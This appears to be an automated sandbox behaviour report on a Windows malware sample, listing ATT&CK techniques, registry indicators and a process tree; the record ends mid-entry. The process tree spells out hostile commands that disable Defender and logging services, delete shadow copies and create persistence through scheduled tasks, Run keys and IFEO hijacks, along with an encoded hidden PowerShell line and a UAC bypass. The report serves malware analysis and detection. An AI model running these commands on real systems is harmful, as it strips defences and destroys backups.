nanocore | 260fc4ba73362ee0f219331bad8b739cd7e5853c400b37550013493cf3468451

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cheta.io_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	cheta.io_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2332	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cheta.io_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cheta.io_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe"	cheta.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cheta.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe"	cheta.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cheta.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe"	cheta.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cheta.io_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
3424	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cheta.io_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	cheta.io_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	cheta.io_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	cheta.io_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe"	cheta.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe"	cheta.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe"	cheta.io_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
4672	net.exe
3336	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1552	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	cheta.io_nano.exe
File created	C:\Windows\system32\sysupdate.exe	cheta.io_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	cheta.io_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	cheta.io_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	cheta.io_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	cheta.io_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4512	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cheta.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cheta.io_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2676	cheta.io_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3460	sc.exe
2856	sc.exe
4084	sc.exe
5076	sc.exe
2304	sc.exe
204	sc.exe
2984	sc.exe
4868	sc.exe
3268	sc.exe
4716	sc.exe
2800	sc.exe
2220	sc.exe
3332	sc.exe
1988	sc.exe
4864	sc.exe
3656	sc.exe
2932	sc.exe
4100	sc.exe
2192	sc.exe
4640	sc.exe
4008	sc.exe
4184	sc.exe
1604	sc.exe
3712	sc.exe
4084	sc.exe
1644	sc.exe
1516	sc.exe
3712	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3388	cmd.exe
3492	cmd.exe
1988	cmd.exe
4460	cmd.exe
2044	cmd.exe
3680	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
256	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2420	NETSTAT.EXE
2528	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1628	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1912	vssadmin.exe
2108	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\Desktop\WallpaperStyle = "2"	cheta.io_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell\open\command	cheta.io_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell\open	cheta.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\.pdf\ = "PDFBotnet"	cheta.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cheta.io_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe\" \"%1\""	cheta.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell\open	cheta.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell	cheta.io_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell	cheta.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cheta.io_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings	cheta.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheta.io_nano.exe"	cheta.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cheta.io_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cheta.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell\open\command	cheta.io_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings	cheta.io_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cheta.io_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1868	schtasks.exe
4040	schtasks.exe
3472	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2332	powershell.exe
2332	powershell.exe
2332	powershell.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe
2676	cheta.io_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2676	cheta.io_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeDebugPrivilege	2676	cheta.io_nano.exe
Token: SeIncreaseQuotaPrivilege	740	WMIC.exe
Token: SeSecurityPrivilege	740	WMIC.exe
Token: SeTakeOwnershipPrivilege	740	WMIC.exe
Token: SeLoadDriverPrivilege	740	WMIC.exe
Token: SeSystemProfilePrivilege	740	WMIC.exe
Token: SeSystemtimePrivilege	740	WMIC.exe
Token: SeProfSingleProcessPrivilege	740	WMIC.exe
Token: SeIncBasePriorityPrivilege	740	WMIC.exe
Token: SeCreatePagefilePrivilege	740	WMIC.exe
Token: SeBackupPrivilege	740	WMIC.exe
Token: SeRestorePrivilege	740	WMIC.exe
Token: SeShutdownPrivilege	740	WMIC.exe
Token: SeDebugPrivilege	740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	740	WMIC.exe
Token: SeRemoteShutdownPrivilege	740	WMIC.exe
Token: SeUndockPrivilege	740	WMIC.exe
Token: SeManageVolumePrivilege	740	WMIC.exe
Token: 33	740	WMIC.exe
Token: 34	740	WMIC.exe
Token: 35	740	WMIC.exe
Token: 36	740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	740	WMIC.exe
Token: SeSecurityPrivilege	740	WMIC.exe
Token: SeTakeOwnershipPrivilege	740	WMIC.exe
Token: SeLoadDriverPrivilege	740	WMIC.exe
Token: SeSystemProfilePrivilege	740	WMIC.exe
Token: SeSystemtimePrivilege	740	WMIC.exe
Token: SeProfSingleProcessPrivilege	740	WMIC.exe
Token: SeIncBasePriorityPrivilege	740	WMIC.exe
Token: SeCreatePagefilePrivilege	740	WMIC.exe
Token: SeBackupPrivilege	740	WMIC.exe
Token: SeRestorePrivilege	740	WMIC.exe
Token: SeShutdownPrivilege	740	WMIC.exe
Token: SeDebugPrivilege	740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	740	WMIC.exe
Token: SeRemoteShutdownPrivilege	740	WMIC.exe
Token: SeUndockPrivilege	740	WMIC.exe
Token: SeManageVolumePrivilege	740	WMIC.exe
Token: 33	740	WMIC.exe
Token: 34	740	WMIC.exe
Token: 35	740	WMIC.exe
Token: 36	740	WMIC.exe
Token: SeIncBasePriorityPrivilege	2676	cheta.io_nano.exe
Token: SeDebugPrivilege	3452	whoami.exe
Token: SeDebugPrivilege	2420	NETSTAT.EXE
Token: SeDebugPrivilege	1552	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1336	WMIC.exe
Token: SeSecurityPrivilege	1336	WMIC.exe
Token: SeTakeOwnershipPrivilege	1336	WMIC.exe
Token: SeLoadDriverPrivilege	1336	WMIC.exe
Token: SeSystemProfilePrivilege	1336	WMIC.exe
Token: SeSystemtimePrivilege	1336	WMIC.exe
Token: SeProfSingleProcessPrivilege	1336	WMIC.exe
Token: SeIncBasePriorityPrivilege	1336	WMIC.exe
Token: SeCreatePagefilePrivilege	1336	WMIC.exe
Token: SeBackupPrivilege	1336	WMIC.exe
Token: SeRestorePrivilege	1336	WMIC.exe
Token: SeShutdownPrivilege	1336	WMIC.exe
Token: SeDebugPrivilege	1336	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1336	WMIC.exe
Token: SeRemoteShutdownPrivilege	1336	WMIC.exe
Token: SeUndockPrivilege	1336	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2676	cheta.io_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2332	2676	cheta.io_nano.exe	86
PID 2676 wrote to memory of 5076	2676	cheta.io_nano.exe	87
PID 2676 wrote to memory of 2932	2676	cheta.io_nano.exe	89
PID 2676 wrote to memory of 2304	2676	cheta.io_nano.exe	91
PID 2676 wrote to memory of 4084	2676	cheta.io_nano.exe	181
PID 2676 wrote to memory of 1644	2676	cheta.io_nano.exe	188
PID 2676 wrote to memory of 1516	2676	cheta.io_nano.exe	98
PID 2676 wrote to memory of 4100	2676	cheta.io_nano.exe	100
PID 2676 wrote to memory of 2192	2676	cheta.io_nano.exe	102
PID 2676 wrote to memory of 4640	2676	cheta.io_nano.exe	182
PID 2676 wrote to memory of 4716	2676	cheta.io_nano.exe	106
PID 2676 wrote to memory of 3712	2676	cheta.io_nano.exe	183
PID 2676 wrote to memory of 2800	2676	cheta.io_nano.exe	110
PID 2676 wrote to memory of 204	2676	cheta.io_nano.exe	112
PID 2676 wrote to memory of 2220	2676	cheta.io_nano.exe	114
PID 2676 wrote to memory of 4008	2676	cheta.io_nano.exe	116
PID 2676 wrote to memory of 4184	2676	cheta.io_nano.exe	118
PID 2676 wrote to memory of 3460	2676	cheta.io_nano.exe	120
PID 2676 wrote to memory of 1604	2676	cheta.io_nano.exe	122
PID 2676 wrote to memory of 3332	2676	cheta.io_nano.exe	124
PID 2676 wrote to memory of 1988	2676	cheta.io_nano.exe	162
PID 2676 wrote to memory of 4864	2676	cheta.io_nano.exe	128
PID 2676 wrote to memory of 2856	2676	cheta.io_nano.exe	130
PID 2676 wrote to memory of 2984	2676	cheta.io_nano.exe	132
PID 2676 wrote to memory of 4868	2676	cheta.io_nano.exe	134
PID 2676 wrote to memory of 4528	2676	cheta.io_nano.exe	136
PID 2676 wrote to memory of 3656	2676	cheta.io_nano.exe	137
PID 2676 wrote to memory of 3268	2676	cheta.io_nano.exe	139
PID 2676 wrote to memory of 1912	2676	cheta.io_nano.exe	141
PID 2676 wrote to memory of 740	2676	cheta.io_nano.exe	143
PID 4528 wrote to memory of 1188	4528	fodhelper.exe	145
PID 2676 wrote to memory of 1868	2676	cheta.io_nano.exe	146
PID 2676 wrote to memory of 4040	2676	cheta.io_nano.exe	148
PID 2676 wrote to memory of 4460	2676	cheta.io_nano.exe	155
PID 2676 wrote to memory of 2044	2676	cheta.io_nano.exe	157
PID 2676 wrote to memory of 3680	2676	cheta.io_nano.exe	158
PID 2676 wrote to memory of 3388	2676	cheta.io_nano.exe	159
PID 2676 wrote to memory of 1988	2676	cheta.io_nano.exe	162
PID 2676 wrote to memory of 3492	2676	cheta.io_nano.exe	163
PID 2676 wrote to memory of 3472	2676	cheta.io_nano.exe	164
PID 2676 wrote to memory of 4512	2676	cheta.io_nano.exe	169
PID 1988 wrote to memory of 2528	1988	cmd.exe	170
PID 3388 wrote to memory of 3452	3388	cmd.exe	171
PID 3680 wrote to memory of 1552	3680	cmd.exe	172
PID 3492 wrote to memory of 2420	3492	cmd.exe	173
PID 2044 wrote to memory of 1628	2044	cmd.exe	174
PID 4460 wrote to memory of 2108	4460	cmd.exe	175
PID 4460 wrote to memory of 1336	4460	cmd.exe	176
PID 2676 wrote to memory of 3832	2676	cheta.io_nano.exe	177
PID 2676 wrote to memory of 4316	2676	cheta.io_nano.exe	178
PID 2676 wrote to memory of 3424	2676	cheta.io_nano.exe	179
PID 2676 wrote to memory of 4084	2676	cheta.io_nano.exe	181
PID 2676 wrote to memory of 3712	2676	cheta.io_nano.exe	183
PID 2676 wrote to memory of 4800	2676	cheta.io_nano.exe	184
PID 2676 wrote to memory of 256	2676	cheta.io_nano.exe	185
PID 4316 wrote to memory of 2496	4316	net.exe	190
PID 2676 wrote to memory of 4672	2676	cheta.io_nano.exe	191
PID 2676 wrote to memory of 2144	2676	cheta.io_nano.exe	193
PID 2144 wrote to memory of 5020	2144	net.exe	195
PID 4672 wrote to memory of 3336	4672	net.exe	196

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe
"C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2932
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2304
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4084
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1644
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1516
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2192
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4640
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:4716
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:3712
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:2800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:204
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:2220
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:4008
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:4184
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:3460
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1604
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:3332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1988
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:4864
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:2856
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:2984
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4868
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe"
    3⤵
    PID:1188
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3656
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3268
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1912
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:740
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1868
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cheta.io_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4040
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2108
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1628
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:1552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
